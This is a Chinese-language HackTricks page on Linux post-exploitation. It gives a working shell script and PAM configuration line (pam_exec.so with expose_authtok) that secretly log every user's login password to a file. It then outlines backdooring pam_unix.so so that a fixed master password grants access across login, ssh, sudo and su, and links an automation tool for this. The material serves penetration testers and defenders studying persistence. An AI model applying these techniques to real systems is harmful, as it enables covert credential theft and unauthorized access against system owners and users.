hacktricks/linux-hardening/linux-post-exploitation

Linux后渗透

从零开始学习AWS黑客技术，成为专家 htARTE（HackTricks AWS Red Team Expert）！

支持HackTricks的其他方式：

• 如果您想看到您的公司在HackTricks中做广告或下载PDF格式的HackTricks，请查看订阅计划!
• 获取官方PEASS & HackTricks周边产品
• 探索PEASS家族，我们的独家NFT收藏品
• 加入 💬 Discord群组 或 电报群组 或 关注我们的Twitter 🐦 @hacktricks_live。
• 通过向HackTricks和HackTricks Cloud github仓库提交PR来分享您的黑客技巧。

使用PAM嗅探登录密码

让我们配置一个PAM模块来记录每个用户用于登录的密码。如果您不知道什么是PAM，请查看：

{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}

有关更多详细信息，请查看原始帖子。这只是一个摘要：

技术概述: 可插拔认证模块（PAM）在管理基于Unix的系统上的认证方面提供了灵活性。它们可以通过自定义登录流程来增强安全性，但如果被误用也会带来风险。本摘要概述了使用PAM捕获登录凭据的技术，以及缓解策略。

捕获凭据:

• 编写一个名为toomanysecrets.sh的bash脚本，用于记录登录尝试，捕获日期、用户名（$PAM_USER）、密码（通过stdin获取）和远程主机IP（$PAM_RHOST）到/var/log/toomanysecrets.log。
• 使脚本可执行，并使用pam_exec.so模块将其集成到PAM配置（common-auth）中，使用选项静默运行并将认证令牌暴露给脚本。
• 该方法演示了如何利用受损的Linux主机秘密记录凭据。

#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

PAM后门

更多详细信息请查看原始文章。这只是一个摘要：

可插拔认证模块（PAM）是Linux下用于用户认证的系统。它基于三个主要概念：用户名，密码和服务。每个服务的配置文件位于/etc/pam.d/目录中，共享库处理认证。

目标：修改PAM以允许使用特定密码进行认证，绕过实际用户密码。这主要集中在pam_unix.so共享库上，该库由common-auth文件使用，几乎所有服务都用于密码验证。

修改pam_unix.so的步骤：

1. 定位common-auth文件中的认证指令：

• 负责检查用户密码的行调用pam_unix.so。

2. 修改源代码：

• 在pam_unix_auth.c源文件中添加一个条件语句，如果使用预定义密码，则授予访问权限，否则继续常规认证过程。

3. 重新编译和替换修改后的pam_unix.so库到适当的目录。
4. 测试：

• 使用预定义密码跨各种服务（登录、ssh、sudo、su、屏幕保护程序）授予访问权限，而正常的认证过程保持不受影响。

{% hint style="info" %} 您可以使用https://github.com/zephrax/linux-pam-backdoor自动化此过程。 {% endhint %}